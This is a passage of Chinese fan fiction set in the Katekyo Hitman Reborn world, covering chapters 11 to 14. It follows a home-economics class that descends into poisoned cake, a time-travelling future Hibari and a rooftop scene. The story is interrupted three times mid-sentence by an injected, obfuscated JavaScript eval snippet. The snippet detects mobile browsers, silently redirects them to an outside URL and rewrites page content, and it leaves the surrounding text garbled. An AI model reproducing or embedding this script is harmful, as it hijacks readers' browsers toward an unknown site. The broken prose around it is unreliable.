我看见他右手颤颤巍巍地撑着地板,左手仍然捂着胃,仿佛拼尽全力一般抬起头看向我,上半张脸已经彻底被奇怪的阴影所笼罩。 “不要……” 我:“什么?” “不要拿第…第一名……”他奄奄一息地说。 然后,这位一向暴躁的转校生,释然地闭上眼。 我:“…?” 11.家政课 鉴于唯一一个脾气不太好的狱寺隼人因为不知名的原因倒下了,剩下的沢田和山本君都是比较好说话的性格,本节家政课的料理最终由我拍板,决定做蛋挞。 “因为老师说了‘爱’之类的话啊。就像半命题作文,甜品会更容易切题一些,说不定能拿到更高的分数呢。” 我双手环胸,认真地竖起一根手指:“有时候谜底就藏在谜面上,即使是自由度超高的实践课也要时刻注意察言观色,这可是取得高分的关键喔。” “好闪耀!该说不愧是优等生的京弥同学吗…!”沢田纲吉望着我小声感叹。 我哼笑一声,正打算发表一番应试技巧,沢田纲吉无意间瞥到靠在墙边、脸色铁青的狱寺,忽然想起什么似的,脸色顿时大变。 “等、等等!但这是碧洋琪的课啊!如果真的拿到第一名的话会变得不幸啊!” 他抱住脑袋,在原地团团转,周遭的气息忽然变得绝望了起来。 这是什么意思? 结合Reborn所说,这位应该就学生会补位的后勤部部长了,沢田也说过“碧洋琪是很有魄力的人”之类的话,而且她接触调味品的样子也很游刃有余,不出意外的话,应该是位能力出众的女性啊。 “啊,说起来刚刚狱寺也说不要拿第一名什么的。”山本摸了摸下巴,思考了一下,恍然大悟地抬头,“难道是什么控分挑战吗?” 我:“咦?” 沢田:“怎么想都不可能是吧!” 我倒是觉得很有道理,于是指了指一旁。 其他小组也已经聚在了各自的岛台前面,大部分人都对新任家政老师的气场表示憧憬,纷纷摩拳擦掌,讨论着一定要得到老师的夸奖、最好拿到第一名品尝老师的料理什么的。 “因为大家都很想拿到第一名喔。”我说,“毕竟也不是只有课堂评分最高才会有额外加分,在自己也方便的话前提下,满足同学们的小小愿望也没什么不好……这么一说,第二名或许才是最优解呢。” 沢田君瞳孔地震:“怎么回事,居然好像很有道理…!” 我若有所思:“狱寺隼人那家伙,居然只在短短几分钟里就想通了这些关窍吗,真是不容小觑。” 沢田君看了眼气息微弱的狱寺,很快变成了死鱼眼,吐槽道: “…不,狱寺君根本只是不想吃到碧洋琪的料理吧。” 不过,在嘈杂的背景声中,我完全没有听清沢田说的话,正在低着头研究桌面上的食材。 除了最基本的盐糖酱油等调味料外,牛奶鸡蛋甚至锡纸托都有准备,不过这些也只能说勉强够用,还差点什么…… 然而,正当我数着鸡蛋个数的时候,其中一颗鸡蛋忽然动了动。 我愣了一愣,还以为自己看错了,再一定睛,那颗鸡蛋居然从正中裂开一道横着的缝。 “?!” 我吓了一跳,忍不住向后仰了仰,却发现这颗碎掉的鸡蛋竟然没有流出蛋液,只是掉落了些许蛋壳碎片。 ……? 用于料理的鸡蛋总不可能真的孵化出来吧? 下一秒,一个头顶鸡蛋壳、身上系着小鸡围裙、疑似带着泰迪卷假发的小婴儿从蛋盒中跳了出来! “哦嚯嚯,分数的排名不仅仅代表个人能力,还包含着很多人情世故喔。” 小婴儿发出了京都人一般阴阳怪气的笑声,举着锅铲,直直地指向我们三个: “身为校级部门,学生会要做到的可是分数与人际的均衡,这就是你们的第一课!精准的拿到第二名才算胜利,如果没做到,就一起去西伯利亚吃罐头吧。” 我:“……” 沢田:“Reborn!” 他似乎对这个奇妙小婴儿地出现感到不满,隐隐有些焦虑的模样,堪称气急败坏地凑过去,伸手想要抢回锅铲,还叫着:“不是说了不要把京弥同学牵扯进来的吗!” 我若有所思地看着这两人。 沢田君被小婴儿一铲拍到脸上,左脸颊瞬间多出一道锅铲形状的红印,只得眼泪往往地退了回去,看起来有点可怜。 随后,顶着蛋壳的小婴儿在围裙口袋里摸索摸索,摸出一个小小的八字胡,若无其事地贴到了自己脸上。 “Reborn是谁?”他睁着漆黑的眼睛,神情天真地看向我,“我是学生会的指导教师,柏林哦。” 我:“……” 演技太拙劣了! 哪有人一副家庭妇女打扮还往脸上贴八字胡的,太诡异了啊! 我沉默了片刻,缓缓开口:“你不是……” 柏林:“对了,老夫目前还负责管理学生会的财务哦。如果挑战成功的话,可以向理事长申请更多经费呢。” 我:“柏林老师说得对,我们会争取拿到第二名的!” 沢田:“……” 他不可置信地望着我,两三秒间仿佛经历了一次世界观的崩塌,脸上对Reborn的质疑逐渐转换成了对自己的怀疑…… 这时,山本君也笑起来,卷起了袖子。他的眼神罕见地认真起来: “总之,就是‘一定要拿到第二’的控分游戏对吧?我们可不会输的,对吧,阿纲、云雀?” 我低下头,在随身携带的手提袋中认真翻找,一边应和: “那是当然。” 沢田纲吉目瞪口呆。 【这两个人完全沉浸进去了!狱寺君还半昏迷着,根本没办法阻止啊……真是的,Reborn这家伙……】 沢田纲吉忍不住瞟了眼cosplay成家庭主妇、脸上还贴着八字胡的家庭教师,忍不住在心底叹了口气。 【嘛…虽然有点危险又很麻烦,不过能够大家一起做甜点,其实也挺不错——等等?!】 他好像看到京弥同学从袋子取出了什么,正在往碗里倒……还有其他的东西……等一下,那个是蛋挞皮吧?! 定睛一看,云雀京弥手上拿着的纸盒、上面写着的,正是“蛋挞液”三个大字。 而京弥同学正满脸镇定地将它倒满了小碗,随后又悄悄把剩余的蛋挞液收回了手提袋中。 沢田纲吉:“……” 说着要在烹饪课做蛋挞、结果是用蛋挞皮和蛋挞液做吗!这跟坐到拉面馆里发现店员端出来一碗日清的泡面一样,完全是诈骗吧! 周围完全没有人在意吗?! 他顿了一顿:“京弥同学……” 听到他的声音,云雀京弥微微偏过头,冲他笑着眨了眨眼,给抛给他一个相当标准的wink。 “!” 他当即闭上了嘴,感觉到自己心跳有点不规律。 虽然并不是那种正义感十足、看不得人走捷径的类型,但沢田纲吉还是在心底偷偷为京弥捏了把汗,同时忍不住替她观察起了四周。 大家都在热火朝天地准备自己的料理,隔壁小组干脆选择了奶油意面,好像是因为碧洋琪是意大利人的原因,不过石田同学因为很喜欢夏威夷披萨而打算在里面加入菠萝。 自己组里的话,Reborn说完那段慷慨激昂的动员词后就消失了,狱寺君还捂着肚子在一边休息,山本正低着头熟练地敲鸡蛋……哇啊,该说不愧是山本吗,一提到游戏就变认真了啊! 不过,话说回来,这么多人,居然连一个注意到京弥同学的都没有。 沢田纲吉忍不住替她松了口气,心里居然不自觉地替她找补起来:虽然不太相信Reborn,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191428|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过这毕竟这是学生会下达的第一个任务,京弥同学是优等生又是学生会长…而且她还特意将第一名让了出来,做这样的事情根本无可厚非嘛。 没错,京弥同学的做法根本没问题! 家政课结束之后,大家会和朋友或者有好感的同学互相交换料理,之前听说京子经常会去甜品店,应该也会对蛋挞感兴趣吧?而且京子似乎对京弥同学也很有好感,刚好他们一组,今天下课或许能把自己那份的甜点送出去…… 正当他想入非非的时候,耳边忽然传进了其他同学小声的交谈: “怎么……是云雀……” “诶,居然是云雀!” 随后又是一阵压低了声音的窃窃私语。 “?!” 沢田立刻回了神,下意识地以为是他们在议论京弥同学,不由自主地竖起耳朵,屏住呼吸,想听清他们到底在说什么。 “云雀学长很少来家政教室门口巡视的啊,他不是喜欢去二三年级的吗?” “现在才下午第一课,这个时候他经常在午睡吧。” “话说啊,这已经是我第三次看到他了,就算是特别教室栋,同一楼层也不需要巡查这么多次吧……” 沢田纲吉松了口气。 原来是云雀学长啊,那就没事了……才怪啊! 这么一想的话,今天午休京弥同学刚去接待室提交了学生会成员的名单,云雀学长看了似乎没说什么。不会是现在察觉到了问题,打算来找他的麻烦了吧! 心里瞬间忐忑不安起来,他顺着大家的视线,朝着门外望去。 恰好这时,京弥出声问他: “沢田君,能帮忙把这些蛋液倒进挞皮里吗?” “啊、嗯!”他心不在焉地回答着,勉强收回视线。 直到这时,他才发现,碧洋琪不知道什么时候已经把自己的有毒料理放进了烤箱(她居然真的在家政课担任代理教师的时候也不会忘记做这个),此时已经百无聊赖地走过来,开始巡视起大家的进度。 众所周知,人在尴尬的时候会假装自己很忙,而每一个沐浴在老师目光下的学生更是如此,绝对不可以表现出无所事事的样子。 看来京弥同学也深谙此道。在碧洋琪走过来的那一刻,她已经飞快地将多余物品都整理好,此时正把一个碗里的蛋挞朝着另一个碗中缓缓倾倒。 借着余光,沢田纲吉悄悄观察着她——只见京弥同学微微锁着眉,垂下的目光极为专注,捏着瓷碗的指节甚至微微泛白,仿佛此时不是在上家政课,而是在某间化学实验室里。 好厉害!……虽然不知道把蛋挞液从一个碗往另一个碗里倒有什么意义。 不过,考虑到碧洋琪一直致力于让他莫名其妙消失而能和Reborn一起回意大利,还是谨慎点比较好。 此时此刻,山本在敲鸡蛋,京弥同学在倒蛋液,狱寺君捂着胃坐在一边,碧洋琪正靠近他们的岛台,云雀学长第三次从家政教室前路过。 如果不考虑暗藏的危机(指被狱寺误炸、碧洋琪毒杀、被云雀学长揍),勉强算是一副恬淡安宁、岁月静好的景象。 如果没有出现其他意外的话。 【总感觉好像被什么东西盯着……是错觉吧。嘛,不管怎么样,还是先尽力做出美味的蛋挞,下课后送给京子好了!】 这样想着,他略微安下心,卷起袖子,准备好好操作一番。 到现在为止家政课都很平和,应该不会出什么差错了。 ——直到沢田纲吉的目光无意识地转向窗边,和趴在玻璃上的蓝波对上视线前,他一直是这么想的。 “呜哇!!!” 他被吓得一个后仰,直接把手里的蛋挞给甩了出去。 12.地狱绘卷 “——呜哇!!!” 我目瞪口呆地看着沢田,他似乎被窗外贴脸的小孩吓了一跳,一个激灵,手中的蛋挞瞬间被甩飞了出去,在空中划出一道流畅的抛物线。 由于还没有送进烤箱,蛋挞液没有凝固,那些稠状液体也顺着力道飞撒出去,星星点点,大部分都落在了碧洋琪的外套上。 “……” 碧洋琪微微眯起了眼,仿佛沉思了片刻,随后,目光骤然犀利了起来。 我眨了下眼,忽然看到她的手中凭空出现了一碟蛋糕,此时正目光凌厉地望向沢田君,看起来好像想把蛋糕砸到他脸上。 话说这位不应该是沢田君认识的的人吗?怎么好像有深仇大恨一样……等等,她手上的蛋糕,外层奶油是紫色就算了,为什么上面好像在发散黑气啊?! …这个真的没问题吗? 与此同时,沢田君却已经手忙脚乱地拉开了窗户,半个身体探出了窗外,开始费力地把趴在窗上的蓝波往里面抱。 大概是抱着“快点把蓝波拉上来然后立刻和碧洋琪道歉”的想法,沢田纲吉顶着碧洋琪犹如实质的冷酷视线,艰难地拉着附在窗外的蓝波。 在这种紧张的气氛下,想快速把人拉进教室却又拉不动,沢田君的身心显然都承受了不小的压力,额头上已经沁出了汗。 然而,不知道蓝波身上都装了些什么、还是说天生就比较沉重,沢田君闭眼咬牙,由抱改拖,肉眼可见地使出了全力……然而还是没能成功。 “你最近是吃了多少巧克力啊,怎么拽都拽不上来了!” “阿、阿纲……”小牛吸了吸鼻子,眼泪汪汪地看向他,听上去快哭了。 “真是的,快把你身上不该带的东西扔出去啦!” 沢田不客气地提着他抖了抖,看着他身上掉落了不少鸡零狗碎,探出头往窗外看了眼,谴责道:“我昨天刚买点薯片果然被你偷了!” 于是沢田君又开始抖抖抖。 而后,就在一旁的我亲眼见证了一切:那孩子从爆炸头里掉出了一块咬过了的巧克力、一包薯片、三颗手雷、以及一个RPG火箭筒。 我:“……” 不对吧,前面两个还好说,后面那都是什么东西!我是眼睛出问题了吗?! 就在我开始怀疑起自己是不是精神出现了问题时,那边的沢田君如同拔萝卜一样,拼尽全力终于把减轻重量的蓝波从窗户上拔了下来。 “咦!” 因为惯性,他脚下一个踉跄,差一点又要屁股着地,我连忙扶住他的肩膀。 似乎是没想到我会搀扶,他偷偷摸摸地觑了眼我搭在他肩上的手,顿了一下,竟忽然结巴了起来:“京、京弥同学!” 我说:“沢田君,你家小孩……” 沢田纲吉当即慌乱起来,手足无措了两秒,仿佛缓解尴尬似的,把怀里的蓝波塞进了山本手中。 与此同时,一直观察着沢田君的碧洋琪,嘴角忽然露出了一丝微笑。 “好机会。”她似乎已经沉浸在了某种幻想里,喃喃道,“如果这时候把彭格列十代目做掉,Reborn就能和我一起回意大利了……Reborn,我这就来救你了!” 不顾周围大家的目光,碧洋琪立刻抄起手上的盘子,三步并作两步,脚下生风地冲向了沢田君—— 随后,就如同猫鼠大战一般,衣着飒爽的碧洋琪举着她的诡异蛋糕,紧紧跟着狼狈逃窜的沢田君,在宽阔的家政教室里追逐起来! 这下,即使是原本沉浸在烹饪过程中的同学们也都露出了困惑的表情。 ……事情到底是怎么发展成现在这样的? “我一定会把Rebron带回去的,等着吧,彭格列!” 碧洋琪似乎充满了斗志,背后隐隐显现出熊熊怒火,疾步如飞;反观沢田,虽然勉强跑在前头,但已经气喘吁吁,有些无以为继了。 “这种话你跟我说没有用啊!什么彭格列十代目,根本就不是我想当的——呜哇!” 这时,他一个趔趄,似乎被什么东西绊倒,扑通一声,摔倒在我跟前。 我低头一看,才发现绊倒沢田君的,居然就是他自己刚刚甩出去的那块蛋挞。 我:“……”太倒霉了吧! 抱着同情的心理,我再一次向他伸出援手,抓住他的右手,想把他拉起来。 而就在此刻,碧洋琪忽然抬臂,将手里的蛋糕砸向沢田的小腿! 所幸,因为沢田君直觉惊人,加上我双手用力地拉住了他,沢田君勉强躲了过去。而那块冒着黑气的蛋糕最终落到了地上,居然把地板给腐蚀了一块下去。 沢田纲吉呼出一口气,抬手擦了把额角的汗:“好险……” 我:“好险什么啊!这是家政课吧,怎么和生化危机片场一样!” 他对我露出一个惨淡的笑容。不知为何,我从这个苦笑中阅读出了无数难以言喻的心酸…… “运气不错,沢田纲吉。” 碧洋琪走到跟前,居高临下地看了他一眼,忽然移开视线,又望向了我。 “哦,这女孩救了你吗。”她单手抱胸,摸着下巴,端详着我,少顷点了点头,“这种为爱出手的态度我很欣赏…不过。” 碧洋琪的语气再一次凌厉了起来,又看向了沢田纲吉。这一回,她的手里出现了一盘三层蛋糕,上面布满了某种蠕动着的生物,整盘东西都充满了不详的气息。 我下意识地屏住了呼吸,后退一步。 然后,我发现这位代课老师手中很快便出现了第二盘、第三盘,乃至第四盘黑暗料理。 碧洋琪:“不过,都是为了爱,我也不会轻易放弃的!” 我瞪大双眼,倒吸一口凉气。 不、不对吧!本来以为这东西只有一个,结果是量产的啊!而且这种东西只要沾上就会死的吧! 很显然,身旁的沢田君再一次和我想到了同一处去。 “完蛋了!Reborn那家伙,这种时候跑到哪里去了啊!被碧洋琪的有毒料理砸到就算了,这里可是家政教室,会误伤到其他同学的啊……” 我听见他似乎小声念叨着“Reborn”什么的,也不知道是在抱怨还是在求助。 趁着这时候,我转头望去。一旁的蓝波早已跳下来,此时正躲到了山本的裤腿后,而山本君还一脸状况外,好像以为只是在打闹。至于其他同学……他们居然已经自发地让出了一大块空地,完全就是氛围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202421|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组啊! 这时,我忽然福至心灵。 “坚持住沢田君!”我扭过脸,对着沢田纲吉小声说,“我有一计,等我马上就来救你!” 沢田纲吉刚狼狈地躲过一盘有毒料理的袭击,听到我的话,震惊地看着我三两步跑到后门,反应了一下,才惊恐交加的看向门外: “京弥同学,你不会是要…!” “没错。”我一手拉住门把,一面回头,对着他露出一个充满自信的微笑。 随后,我干脆利落地拉开后门,冲着走廊探出脑袋,拉长了声音,大喊道: “——云雀恭弥!!!” 走廊尽头,披着黑色外套的少年听到声音,面无表情地回头,与我对上视线。 对方提着浮萍拐,脸色不虞地走过来。 成了! 我暗自松了口气,冲着他疯狂招手,试图通过大魔王来制止家政教室里的战争。 如果是恭弥,最差也就是把教室里所有人都揍一顿,大家一起住院而已! 然而,不知怎么回事,就这么一回头的工夫,教室里的战况好像升级了。 具体表现在沢田君的衣服忽然消失,头上冒出了火,正打算冲上去和碧洋琪拼了;山本君以拿球棒的姿势举起了锅铲,并且把一盘黑暗料理击回了墙面上;蓝波的眼睛变成了荷包蛋的形状,咬唇喊着“要忍耐”,从头发里拉出了紫色的火箭筒。 此时此景,堪称百鬼夜行,地狱绘卷。 “……?” 我一时没反应过来,看着眼前的场景,默默退了一步。 好巧不巧,就在这一瞬间,碧洋琪的有毒料理忽然砸到了蓝波脚边,腐蚀了整块瓷砖。 奶牛小鬼被吓得一哆嗦,没绷住,声音里带上了哭腔:“要…忍耐……” 然后,掏出一半的火箭筒脱手而出,直愣愣地朝着后门弹射过去。 不出意外的话,那只火箭筒本该朝着我来的,只是我刚刚被这副场面惊得退了回去,以至于那只涂着紫色油漆的火箭筒—— “到底什么事,京弥?” 戴着风纪袖章的兄长满脸不耐烦地推开门。 我失声大喊:“哥哥小心!” 周围似乎安静了一瞬。 下一刻,眼前炸开了大片粉色烟雾。 ……没有爆炸? 我怔怔地望着面前。很快地,烟雾散去,一道颀长的身影出现在眼前。 那是一个穿着黑色西服、身形挺拔的年轻男人。他似乎也有些错愕,哈欠打到一半,放下了手,微微眯起眼,扫视着面前的场景。 这人生着一双狭长的凤眼,嘴角微微下撇,看起来脾气不太好…呃,我的意思是,这个人,怎么好像和云雀恭弥长得有点像? 而他环顾了一圈四周,似乎弄明白了什么,终于收回目光,低下头,和我对上了视线。 然后,他又抬起头,看了眼前方赤身裸体、表情凶恶的沢田君。 我看见他原本毫无波澜的脸上,缓缓浮现出了一种名叫“兴致勃勃”的表情。 “哇哦。”他挑起眉毛,不知从哪里举起了那双浮萍拐,吐出了熟悉的语句。 “沢田纲吉,这次一定咬杀你。” 13.极恶修罗场 “所以,那个人是十年后的恭弥?” “没错喔。”小婴儿压了压帽檐,勾了勾嘴角,事不关己地点评道,“看样子,十年后的云雀对阿纲很不满呢。” 我沉默片刻,顺着视线看过去。 虽然不太愿意相信世上有这种能跨越时间的发明,不过也没有其他能解释现状的说法了。 那位据说是十年后兄长的男人,行事作风的确很像恭弥本人,无论是身形步态还是攻击方式,几乎都能看出现在的影子。 …但是,他为什么对沢田君有这么大的怨气啊? 退一万步说,就算沢田君癖好特殊,在并盛裸奔了十年,能不被警察抓到就说明没有违法犯罪,哥哥也不至于下手这么狠吧! 原本把哥哥喊来,是想让他制止碧洋琪乱扔危险物品的来着。 结果Reborn一露面,碧洋琪就立刻抛下了那些料理,冲过去把小婴儿抱在怀里了,导致现在看起来在违法乱纪的,只有裸着上身的沢田君一个人了…… 更糟糕的是,沢田君刚刚爆衣时喊着的口号是“拼死也要战胜碧洋琪”,而由于碧洋琪已经退出了战斗,他额头前的火焰也渐渐熄灭,整个人都气质又变得软弱了起来……呜哇,不管怎么看都很难从大魔王手下逃脱啊? “哇啊!”沢田纲吉狼狈地蹲下身,勉强躲过了浮萍拐的一击,几乎是手脚并用地向后退去,一边慌乱地冲着Reborn问: “明明之前被死气弹击中云雀学长也没这么生气!到底是怎么回事啊!” “一名合格的Boss也要学会应对部下的怒火喔,这是你自己该解决的问题。” Reborn不知道什么时候换了一身装束,又变回了原本的黑西装,坐在碧洋琪怀里,用稚嫩的声音回答他。 碧洋琪…碧洋琪正满脸陶醉地看着他。 小婴儿睁着无辜的双眼盯着缠斗在一起(倒不如说是某人单方面在攻击)的两人,疑似心情不错,慢条斯理地喝了口咖啡,才给出了宝贵的提醒: “或许是十年后的你哪里惹到了云雀,夺走了什么重要的东西,嘛,谁知道呢。” 说出这句话时,他的目光似乎隐隐投向了我,但等我想望回去时,小婴儿却已经收回了视线。 我:“……” 老实说,我说不定能猜到他的意思。 目前来看,沢田君和哥哥唯一的交集就是学生部门了。 哥哥对他的风纪委员会一向十分热忱,沢田君却加入了学生会,而学生会毫无疑问是和风纪委员对立的……莫非这种立场一直持续到了未来,那时候的沢田君已经成为了兄长的劲敌? …不愧是头上能冒火的沢田君,真是不容小觑! 然而,仓皇逃窜着的沢田君目前还没有意识到自己的潜力。得到Reborn提示,还边逃跑边抱住了脑袋,想也不想就反驳道: “真是的,我怎么可能会抢云雀学长的东西——咿,好险!” 云雀恭弥:“呵。” 我暗中观察,不由睁大双眼。 ——哥哥冷笑了! 通常情况下,云雀恭弥只有在极端情况下才会发出这样的冷笑,结合当下的情境来看,他应当是认为自己被挑衅了。 这证明我的猜想基本无误,沢田君在未来果然给他带来了很大的威胁吧? 想到这里,我更加无法袖手旁观。 眼看着云雀恭弥快要追上沢田,似乎打算朝他肚子上来一拐,我连忙拔高音量制止道: “恭弥,快放开沢田君!” 云雀恭弥的动作略微一滞,随后竟然真的收回了拐子,回头看了我一眼。 这家伙平日里就很少有太大的情绪波动,十年后更是显山不露水,即便是我,仔细观察后也没能准确判断出他的情绪。 “我可没伤到他的脸。你还要为沢田纲吉说话吗,京?” 十年后的兄长冷冷地说。 “……?” 虽然态度不明,但我总觉得他其实并不是很生气。因为以他的实力,如果认真出手,沢田君现在可能已经被抬上担架了。 非要说的话,更像出气恐吓之类的。举个不太恰当的例子,我如果心情很差的话,也会故意加重脚步,吓跑路边警惕的流浪猫狗——说实话,以哥哥的恶趣味,搞不好还真会对别人这么做。 以及,他的前半句话是什么意思? 然而,不等我深思,他似乎已经自己哄好了自己,一眼不发地收回了浮萍拐。 “不过你说得对,针对十年前的他也没什么用。”兄长这样说着,又意味深长地看了眼沢田君。 沢田纲吉炸毛一般,瞬间露出了惶恐的表情:“咿!” 我:“……” “真是太糟糕了,”我忍不住谴责,“明明都二十五岁了还要欺负国中生,而且还喜欢当谜语人,你说的那些话谁听得懂啦!” 沢田:“等、等等!这样说云雀学长不要紧吗!” 我:“而且明明惹你生气的是十年后的沢田君吧?干嘛一来就要揍十年前的人啊,就算不打脸也很不合适吧!” 沢田君闭上嘴,开始惊疑不定地观察哥哥的表情。 我:“冤有头债有主,哥哥平时就算殴打不良少年也知道先找头目,如果真的生气的话当然要回去找十年后的沢田君,狠狠揍他一顿才对去!” 沢田君的表情由感动逐渐变成淡淡的无语。 “虽然很感谢你这么说,但是请对十年后我的也好一点吧!”他顶着死鱼眼吐槽道。 云雀恭弥:“……” “十年后的沢田纲吉我当然会去收拾。”他哼了一声,冷脸看着我,语气中带着些讽刺地说:“不过,你现在胆子很大呢,京。” …那当然是因为Reborn告诉我十年火箭筒只有五分钟的有效期! 仔细算来,十年后的哥哥追着沢田君出气已经用掉不少时间了,就算他真的气不过想揍我,我也可以利用嘴炮拖延到五分钟后,完全没问题嘛。 然而,他似乎没有想再出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217890|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手的打算。 我怀疑云雀恭弥其实已经偷偷计算过了时间,因为他忽然突兀地转移了话题。 我看见他微微拧起眉,没有再看其他人,而是定定注视着我,用一种难得认真的口吻告诉我说: “离沢田纲吉远点,京弥。” 印象里,兄长几乎从来没有用这样的语气和我说过话——家中从来奉行“坐而言不如起而行”的准则,如果是平时,就算他想让我远离谁,也是自己动手,让那个人知难而退的。 所以,他为什么会说出这样的话呢? 直觉让我不愿深究。我抬眼试着和他对视,却发现他已经移开了目光,看起来不打算再多说其他话了。 于是我转过视线,观察着沢田君。听到云雀恭弥的话,他先是微微一愣,有些错愕地抬起头。 可是很快,仿佛是想到了什么,沢田君微微睁大了眼睛,忽然露出了然的神色。我发现他垂下了头,抿起唇,目光几乎有些悲伤,又似乎很寂寞。 我听见他几不可闻地念出了那个有点耳熟的名词:“彭格列……” …他为此感到不安了吗? 鬼使神差地,我出声反驳了表情认真的兄长。 “你知道的吧?如果只是教我怎么做却不给出原因的话,我是不会听的。”我说,“沢田君是值得信赖的人,所以在我改变看法之前,暂时没有远离他的打算。” 云雀恭弥:“……” “所以,哥哥是有什么合理的原因吗?” 然而,没有等他开口回答,粉色的烟雾又一次在教室中弥散开来,五分钟到了。 粉烟褪去,少年的身形逐渐显露出来。 ……来不及困惑了,现在到来的是看起来更加生气的、十年前的云雀恭弥! 而且,不知道他在未来受到了什么刺激,虽然还是那张冷脸,但方圆半米内的气压似乎变得格外的低。 他掀起眼皮,目光精准地锁定了我和沢田纲吉,在我们两人之间逡巡片刻,最终落到的沢田君身上。 光裸着上半身的沢田君打了个寒噤,表情逐渐惶恐。 云雀恭弥的嘴边又浮现了恐怖的微笑。 “是你啊……又在裸奔吗?”他的语气有些阴森,缓步逼近,淡淡道,“刚好我现在心情不太好,不过,我会给你叫救护车的。” 到底是怎么回事,怎么无论是现在还是十年后,莫名其妙都好像对沢田君很有意见啊! 考虑到沢田君刚才已经被十年后的哥哥恐吓过一回,现在再让他独自面对生气的大魔王未免太可怜了。我大脑飞速运转,终于想起来还有刚才胡乱塞进烤箱的半预制蛋挞,于是不顾烫手、匆忙捞出几个放进盘子,三步并作两步,冲到沢田君身前,将它一股脑塞进了哥哥手中。 云雀恭弥表情空白了一瞬,端着盘子,不太确定地看了我一眼。 半熟不熟的蛋挞香气飘散在空中。 “……吃吧,哥。”我心焦力瘁地说,“特地做给你的,吃完就不许再揍人了。” 14.每一任男友都在这里被打过 由于我把蛋挞全部塞给云雀恭弥换取和平,导致无论是作品评分还是试食交换,都因为缺少成品而无法进行。 不过到最后,作为代课老师的碧洋琪还是给了我们极高的分数。 “9.8分,”她的视线停留在我身上,嘴角微微扬起,“虽然没有尝到味道,但我感受到了当中的爱意……哦对了,剩下0.2分扣在沢田纲吉。” 我微微垂下头,有点赧然地别开视线:“您谬赞了。” 其实只是全部都是半成品做的,而且还为了制止哥哥而提前取出蛋挞,无论从哪个方面都不算成功的料理吧…? 不过考虑到碧洋琪自己的料理也有些诡异,我决定不去考虑她的评判标准。 除此之外,不知道怎么回事,参与家政课的其他同学第二天集体请了病假,据说是吃坏了肚子,而且回归之后,几乎每一个人都说不记得家政课发生了什么。 “唔,非要说的话,总觉得如梦似幻、有一种不真实的幸福感呢。莫非这就是家政课的独特魅力?倒是云雀同学能清晰地记得吗?可以具体和我说说吗?”石田君真诚地问。 我额角滑过一滴冷汗,扯了扯嘴角:“大家都忘记的事情,我当然也记不得啦。” “是吗,那还真是可惜。”对方失望地低下头。 ……那种回忆不要也罢!又是有毒料理大战又是时空穿越,期间还有超龄风纪委员大战内裤超人什么的,普通人就是做梦也很难梦见吧? 虽然是这么说,但最终奇怪的家政课算是圆满收尾,我们甚至真的获得了第二名的成绩,得到了不错的加分。 后来柏林老师(我确信他就是Reborn)私下告诉我,我得到了后勤部部长的认可,学生会重启的通知会在礼拜一的学校礼堂,由风纪委员进行宣读。 槽点太多了不知从何说起,我认真思考了片刻,决定从最想吐的那个开始: “结果那个乱七八糟的家政课居然是考验吗?而且碧洋琪加入学生会为什么要考验我啊!” “……”贴着八字胡的Reborn一言不发地盯着我看了片刻,从口袋里拿出了翻盖手机,戳戳戳,然后放到耳边,“请问是理事长女士吗?” 我:“……” “对不起!”我屈服了,含泪收回前言,“我认为柏林老师您做什么都是对的,之前的话当我没说。” Reborn双手背在身后,欣慰地点点头:“你能有这个觉悟很好。” 这个家伙似乎抓到了我的把柄,总是拿经费的问题说事,不过大部分情况,他对我还算客气——至少比起沢田君来说。 - 午休,天台。 如往常一样解决了便当,大家坐在天台上吹着风的时候,忽然从树上掉下一颗颗布满尖刺的球状物。 沢田纲吉捂住脑袋,有些奇怪地抬头望去:“好奇怪,昨天树上有这些东西吗…?” “没有吧。”我叼着袋装牛奶,随口回答,“有害校园环境的东西风纪委员都会定期清理的,可能是新长出来的什么树果吧。” 不知道是不是错觉,总觉得地上那颗海胆一样的球体好像动了动……等等,这个的尺寸怎么好像有点大? “我可不是什么危害校园环境的东西喔。” “?!” 我目瞪口呆地看着那个球状物展开,伸出四肢,露出了小婴儿的脸。 “彭格列需要家族基地,学生会也需要宽敞的部活教室。” Reborn穿着疑似海胆的cos服,靠近了沢田纲吉,并举起手指宣布道: “为了防止大家午休再被砸到,作为BOSS以及初始部员,阿纲要在今天之内找到合适的教室才行。” 沢田纲吉:“你怎么擅自替我做决定了啊!” 海胆啪地一声跳到沢田君大腿上,表情纯真地看向我,澄清道:“不是海胆,是栗子哦。” ……完全无视沢田君了! 而且他是怎么看出来我的想法的啊? 然而,在场的几人似乎只有沢田君能明白我槽多无口的感受。我一转头,发现狱寺隼人已经完全被带跑了思路,睁大眼睛看向沢田君: 